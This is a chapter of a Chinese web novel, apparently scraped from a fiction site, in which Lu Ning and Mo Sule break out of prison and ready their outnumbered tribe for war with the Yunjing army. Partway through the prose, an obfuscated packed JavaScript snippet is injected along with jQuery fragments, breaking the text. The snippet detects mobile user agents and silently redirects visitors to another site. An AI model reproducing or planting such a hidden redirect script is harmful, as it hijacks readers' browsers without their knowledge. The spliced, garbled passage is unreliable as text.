164. 落百殇(三十八)
作品:《百草留芳》 朔风卷着砂砾,抽打着牢狱粗粝的石墙,发出呜咽般的声响。月光如同冰冷的银练,从高窗狭窄的缝隙间斜斜泻入,在肮脏的地面上切割出一块惨白的亮斑,照亮了空气中浮动的尘埃。
陆凝靠着冰冷的铁栅栏,指尖无意识地抠着栏杆上剥落的锈迹。安踏的殒命和敕拓将要发生的变故,像一块巨石压在心口,让她呼吸都带着沉重的铁锈味。
“安踏殒命的消息如果传到云靖会怎样?”她沙哑的声音在寂静的牢房里显得格外清晰。
对面阴影里,莫苏勒如同一尊沉默的雕像,月光吝啬地勾勒出他紧绷的侧脸轮廓,那双在战场上能慑服群狼的琥珀色眼眸,此刻深不见底,翻涌着风暴。他缓缓抬起头,目光穿透昏暗,与陆凝对上。
“从他们的举动来看,刺杀可汗与公主,栽赃于我,本就是精心策划的一环,意图挑起战争。从公主出京的那一刻起,云靖便做好了随时发兵的准备,恐怕此刻,兵马早已集结在关内,只待一个借口。”他顿了顿,喉结滚动了一下,“只要烽烟一起,塞城和狼部……就是第一个祭品。”
塞城,那座他们耗费心血,融合沙漠和中原,给予罪民和蛮族安身立命的边城。呼莫尔部族,那些追随他南征北战的子民。画面在他脑中一闪而过,带来尖锐的刺痛。
“所以我们得尽快想办法回去。”陆凝的声音将他从翻腾的思绪中拉回。她不能坐视塞城陷入战火,那里有她亲手建立的经济,有她救治过的无数百姓,有同样追求和平的人。
她的目光在牢房内逡巡,不放过任何一个角落。
“莫苏勒,”她轻声呼唤,“你看那里。”
莫苏勒顺着她手指的方向,是高墙之上漏出月光的那个孔洞。
陆凝比划了一下,“我有办法,这个洞,我应该能爬出去,你把我抛上去。”
方案简单,甚至有些狼狈,但这是黑暗中唯一的光。莫苏勒没有犹豫,立刻蹲下身子,双手交叠垫在膝上。
“快!”莫苏勒深深看了她一眼,那眼神复杂,有决绝,有托付,还有一丝不愿让她涉险的挣扎。但他知道,这是唯一的机会。
陆凝深吸一口气,左脚精准地踩上莫苏勒的手掌,右手扒住墙缝,身体猛地向上一窜。
莫苏勒的身体紧绷如铁,肌肉贲张,结实地撑着她的脚,确保她在不受伤的同时,也不必费太大的力气。陆凝的动作也一点没减缓,凭借着惊人的核心力量和柔韧性,不顾疼痛地将自己挤进那个狭窄的洞口,碎砖和尘土簌簌落下。
她成功地把自己扔了出去,摔在坚硬的砂土上,听到外面传来短暂的闷响和重物倒地的声音,莫苏勒没有松懈,紧贴着墙壁仔细确认陆凝的安全。
陆凝一刻也不敢歇息,忍痛爬起来,小心地绕进去,从自己的“百宝袋”里拿出迷药放到了整座牢狱中仅有的两个看守后,拿着钥匙解救莫苏勒,牢门“吱呀”一声被从外面拉开,她高大的身影重新出现在门口,带着一身夜露的寒气和淡淡的血腥味,落在莫苏勒满是心疼的眼中。
“换件衣服,快走。”他动作迅速,利落地扯下门外昏迷守卫的外袍扔给陆凝,自己则剥下另一人的甲胄和衣物快速换上。
黑暗中,两人目光再次交汇,无需多言,逃亡之路已然开始。
当他们风尘仆仆,带着一身疲惫与伤痕,终于踏回呼莫尔部族的领地时,迎接他们的不是往日的篝火与歌声,而是一种山雨欲来的压抑,将士们看到他们归来,先是惊喜,随即又被更深的忧虑覆盖。
“王上!小野猫!你们……怎么这么快回来了?”阿纳芹娅闻讯赶来,布满汗水的脸上写满了惊愕与不安,“安踏呢?她怎么样了?”
莫苏勒的脸色阴沉,他扫视了一圈周围隐约投来的目光,沉声道:“出事了,进去说。”
王帐内,火把噼啪作响,映照着几人凝重的面孔。莫苏勒言简意赅地将王城发生的一切,安踏之死,以及他们的推断道出。每说一句,阿纳芹娅的脸色就白一分,姜明向来冷静的脸上也有了复杂的神色。
“漠上青传信了,”陆凝补充道,“我让阿通去查探了,邶鸣关现下囤积了数万的兵马,旌旗招展,绝不是日常戍守的规模。”
莫苏勒走到铺着粗糙羊皮地图的木桌前,手指重重地点在邶鸣关的位置,然后划向塞城和呼莫尔部族,“军令发了吗?
阿纳芹娅愤怒地一拳砸在桌子上,震得地图卷起一角,“发了!发了好几十封了!像石头沉了河,没半点动静!”
“王上,有两种可能。一种是,王城已经被那几位藩王联手控制了,消息根本传不到大可敦面前。另一种可能……”姜明缓缓开口,他顿了顿,很是不想承认道,“是大可敦视而不见。”
“大可敦?”阿纳芹娅的脑子显然是跟不上了,她猛地抬头,眼中满是不可置信,“她为什么要这么做?就算是想夺权,也不至于对外敌视而不见吧!这是引狼入室!毁了敕拓基业对她有什么好处?”
姜明摇了摇头,目光深邃,“政治有时比战场更血腥。或许在她看来,借助云靖的力量清除像狼王这样功高震主还不完全听命于王城的藩王,比抵御外敌更重要。毕竟,云靖要的是臣服和纳贡,而内部的挑战者,要的是她的命,或者她儿子的汗位。”
莫苏勒沉默地听着,手指无意识地摩挲着扳指上凹凸不平的狼纹。先是引他落入陷阱,再是不顾及外敌,若真是哪个藩王想要对付他,没有高位者的支持是万万不可能的,虽然他很不想承认,但也不得不认命这些事情最后的推手是那位荼茶公主。
“上次与南越对战,我们损失惨重,”姜明的手指移回狼部领地,“精锐折损近半,新兵尚未训练成熟。如今我们能调动的,满打满算,仅有三千兵马。如何对阵那几万装备精良的云靖大军?”
帐内的空气仿佛凝固了,火把的光芒跳跃着,将每个人的影子拉长,扭曲,投在帐壁上,如同张牙舞爪的鬼魅。帐外,沙漠的风呼啸而过,卷起枯草与沙尘,拍打着王帐,仿佛已经能听到远方战马不安的嘶鸣与金属甲胄碰撞的铿锵之音。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053926|181159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
莫苏勒缓缓抬起头,那双琥珀色的眼眸深处,仿佛有幽暗的火焰在燃烧,他一字一顿,声音不高,却带着最后的决绝,敲在每个人的心上。
“只能,殊死一搏了。”
******
“报——!”
传令兵急促的声音像一把利刃,撕裂了军帐中的沉寂,枕戈待旦的众将士们无不面露厉色。
“云靖大军已在塞城外二十里处扎营!”
陆凝手中的药碗猛地一颤,滚烫的药汁溅出,烫红了她的手背,她却浑然未觉。太快了!从王城逃回才不过五日,云靖大军就已经踏到了家门口!
她下意识地看向莫苏勒,莫苏勒面色如常,甚至没有抬起眼看传令兵,只是放在地图上的手,指节因用力而泛出青白色,手背上虬结的青筋如同盘踞的毒蛇。
“知道了。”他的声音平稳得可怕,仿佛只是在确认一件寻常小事。
待传令兵退下,陆凝才找回自己的声音,“他们动作也太快了吧……”
这不符合常理,除非……他们早就准备好了,安踏的死,不过是一个恰到好处的开关。而能做到这些,王城之中必有和云靖勾结之人。
莫苏勒转向阿纳芹娅,“队伍整结得如何?”
阿纳芹娅单手挎着腰间的流星锤,挺直了脊梁,“随时准备着!狼部的儿郎,没有怕死的孬种!”
是啊,没有足够的兵马又如何,呼莫尔部族全民皆兵,他们能在陆凝的带领下将营地守住,也能在莫苏勒的带领下打赢这场仗。
陆凝也不甘示弱,“上次抵御外族人,我做了好多陷阱机关,图纸还在,你看看能不能用?”
莫苏勒看向她,眼中闪过一丝柔和,但随即被现实的冷硬覆盖。
他摇了摇头,“阿凝,这是战场,那些陷阱对付散兵游勇尚可,面对数万大军的正面推进,我们来不及在广阔战场上布置,而且两军叫阵冲杀时,界限模糊,很容易误伤自己人。我们不能未伤敌,先损己。”
希望的火苗再次熄灭,她的那些小聪明在真正的战争面前根本不值一提,殊死一搏,这几个字重若千钧,压得她喘不过气。
就在这时,又一名传令兵冲入帐内,带来一个更令人意外的消息,“报!王上,三十里外发现一支云靖轻骑,约五百人,为首将领指名道姓,说要见您!”
“他们这是耍什么花招?王上,我去!”阿纳芹娅站了出来。
姜明拦住她,“他们本就占据优势,没理由再多此一举,这个时候和谈,说不定还能有一线转机。”
莫苏勒同意他的看法,吩咐卢罕去召集一队人马,整了整身上的甲胄,在离开王帐前,脚步顿了一下,走到陆凝面前,轻轻握住她冰凉的手。他的手掌宽厚粗糙,满是常年经历战场的粗茧,却能给人安定的力量。
“放心,”他望着她,目光深邃,“我会安全回来的。”
说完,他松开手,大步流星地走出王帐,背影在斜阳下拉得长长的,如同一头不屈的孤狼。

